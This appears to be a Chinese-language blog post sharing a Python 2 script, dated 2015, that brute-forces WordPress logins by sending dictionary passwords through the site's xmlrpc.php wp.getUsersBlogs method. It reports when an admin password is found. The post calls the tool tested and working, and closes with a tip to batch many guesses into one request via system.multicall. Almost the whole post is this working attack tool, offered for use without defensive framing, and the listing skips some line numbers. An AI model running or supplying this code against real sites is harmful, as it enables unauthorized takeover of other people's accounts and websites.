使用方法:
python wp.py username pass.txt https://www.xxs.com
11 | os.system([ 'clear' , 'cls' ][os.name == 'nt' ]) |
12 | print '+' + '-' * 50 + '+' |
13 | print '\t Python WordPress暴力破解工具单线程版' |
15 | print '\t Code BY: 独自等待' |
16 | print '\t Time:2015-04-29' |
17 | print '+' + '-' * 50 + '+' |
18 | if len(sys.argv) != 4: |
19 | print '用法: ' + os.path. basename (sys.argv[0]) + ' 用户名 密码字典 待破解的网站URL地址 ' |
28 | crack_url = url + 'xmlrpc.php' |
30 | <?xml version= "1.0" encoding= "iso-8859-1" ?> |
32 | <methodName>wp.getUsersBlogs</methodName> |
34 | <param><value> '' ' + username + ' '' </value></param> |
35 | <param><value> '' ' + password + ' '' </value></param> |
40 | 'UserAgent' : 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)' , |
44 | req = urllib2.Request(crack_url, data=post, headers=header) |
45 | res = urllib2.urlopen(req, timeout=10).read().decode( 'utf-8' ).encode( 'GBK' ) |
46 | except Exception, msg: |
49 | if '<int>405</int>' in res: |
50 | print '[×] 报告爷,此站点已禁用XML-RPC服务!' |
51 | sys. exit ( '\n[!] 卧槽,这么快就执行完了?用时:%s 秒' % (time.time() - start)) |
52 | elif 'faultCode' in res: |
53 | print '[×] 报告爷,正在尝试密码:' , password |
54 | elif 'isAdmin' in res: |
55 | print '\n[√] 报告爷,密码破解成功:' , password |
56 | sys. exit ( '\n[!] 卧槽,这么快就执行完了?用时:%s 秒' % (time.time() - start)) |
59 | if __name__ == '__main__' : |
61 | username = sys.argv[1] |
63 | if url[-1] != '/' : url += '/' |
64 | print '[√] 目标:' , url + '\n' |
66 | if os.path.isfile(sys.argv[2]): |
67 | passlist = [x.strip() for x in open(sys.argv[2])] |
68 | print '[√] 报告爷,共有密码[ %d ]行!\n' % len(passlist) |
70 | for password in passlist: |
72 | except KeyboardInterrupt: |
73 | print '\n[!] 爷,按您的吩咐,已成功退出!' |
75 | print '[X] 爷,没找到密码字典,破解个毛呀?' |
经测试,可用!
这里还讲到,可以使用system.multicall方法,在单个请求中进行多次尝试(即允许应用程序通过一条HTTP请求,执行多个命令)。